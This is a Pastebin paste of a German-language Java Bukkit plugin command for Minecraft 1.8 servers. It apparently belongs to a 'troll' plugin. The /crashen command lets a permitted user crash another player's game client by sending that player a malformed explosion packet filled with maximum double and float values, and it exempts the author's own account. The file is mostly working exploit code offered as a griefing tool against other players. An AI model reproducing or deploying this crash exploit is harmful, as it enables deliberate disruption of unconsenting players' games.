Advertisement
Grieftime

Untitled

Sep 9th, 2018
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.88 KB | None | 0 0
  1. package command;
  2.  
  3. import java.util.Collections;
  4.  
  5. import org.bukkit.Bukkit;
  6. import org.bukkit.command.Command;
  7. import org.bukkit.command.CommandExecutor;
  8. import org.bukkit.command.CommandSender;
  9. import org.bukkit.craftbukkit.v1_8_R3.entity.CraftPlayer;
  10. import org.bukkit.entity.Player;
  11.  
  12. import main.Main;
  13. import net.minecraft.server.v1_8_R3.PacketPlayOutExplosion;
  14. import net.minecraft.server.v1_8_R3.Vec3D;
  15.  
  16. public class CrashCommand implements CommandExecutor {
  17.  
  18. @SuppressWarnings("unchecked")
  19. @Override
  20. public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
  21.  
  22. Player p =(Player) sender;
  23.  
  24. if(!p.hasPermission("troll.crash")){
  25. p.sendMessage("§4Dazu hast du keine Rechte!");
  26. } else {
  27. if(args.length == 0) {
  28. p.sendMessage(Main.prefix + "§cSyntax error§7 Benutze /crashen <Spieler>");
  29. } else if(args.length == 1) {
  30. Player target = Bukkit.getServer().getPlayer(args[0]);
  31. if(target == null){
  32. p.sendMessage(Main.prefix + "Der Spieler " + args[0] + " ist nicht online!");
  33.  
  34. } else if(target.getName().equalsIgnoreCase(p.getName())){
  35. p.sendMessage(Main.prefix + "§CDu willst dich doch nicht selber crashen oder?");
  36. } else if(target.getName().equalsIgnoreCase("Grieftime")){
  37. p.sendMessage(Main.prefix + "§CDu darfst diesen Spieler nicht crashen!");
  38. } else {
  39. ((CraftPlayer)target).getHandle().playerConnection.sendPacket(new PacketPlayOutExplosion(Double.MAX_VALUE, Double.MAX_VALUE, Double.MAX_VALUE,
  40. Float.MAX_VALUE, Collections.EMPTY_LIST, new Vec3D(Double.MAX_VALUE, Double.MAX_VALUE, Double.MAX_VALUE)));
  41.  
  42. p.sendMessage(Main.prefix + "§7Du hast den Spieler §c" + target.getName() + " §7gecrashed");
  43. }
  44. } else {
  45. p.sendMessage(Main.prefix + "§cSyntax error§7 Benutze: /crashen <Spieler>");
  46. }
  47. }
  48.  
  49. return false;
  50. }
  51.  
  52.  
  53.  
  54.  
  55. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement